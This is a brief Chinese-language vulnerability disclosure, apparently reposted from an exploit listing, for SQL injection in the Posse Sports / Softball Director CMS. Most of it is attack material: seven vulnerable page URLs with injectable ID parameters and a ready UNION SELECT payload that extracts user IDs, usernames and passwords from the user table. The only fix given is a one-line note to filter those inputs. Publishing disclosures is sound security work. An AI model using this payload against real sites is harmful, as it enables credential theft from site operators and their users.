标题: Posse Sports SQL Injection Vulnerabilitiy 作者: H4ckCity Security Team farbodmahini www.2cto.com WwW.H4ckCity.Org 程序地址: www.possesports.com 影响所有版本 测试平台: GNU/ Linux Ubuntu - Windows Server - win7 ############################################################################ 示例 # http://www.2cto.com /newsdetail.php?news_id=[SQL] # http://www.2cto.com /dirdetails.php?iddirector=[SQL] # http://www.2cto.com /tdetails.php?idtourn=[SQL] # http://www.2cto.com /tresults.php?tourn_id=[SQL] # http://www.2cto.com /tournsearch.php?idclass=[SQL] # http://www.2cto.com /fieldinfo.php?idfield=[SQL] # http://www.2cto.com /page.php?id=[SQL*] # # [~] SQL* : # # -9999+union+select+1,2,group_concat(id,0x3a,username,0x3a,password)+from+user 修复方案 过滤上面页面参数输入 #致谢 : Mehdi.H4ckcity-2MzRp-Mikili-M.Prince-Bl4ck.Viper-iC0d3R- # IrIsT-K0242-P0W3RFU7-Mr.M4st3r-Higher_Sense ,...
查看更多关于Posse Softball Director CMS SQL注射缺陷及修复 - 网站安的详细内容...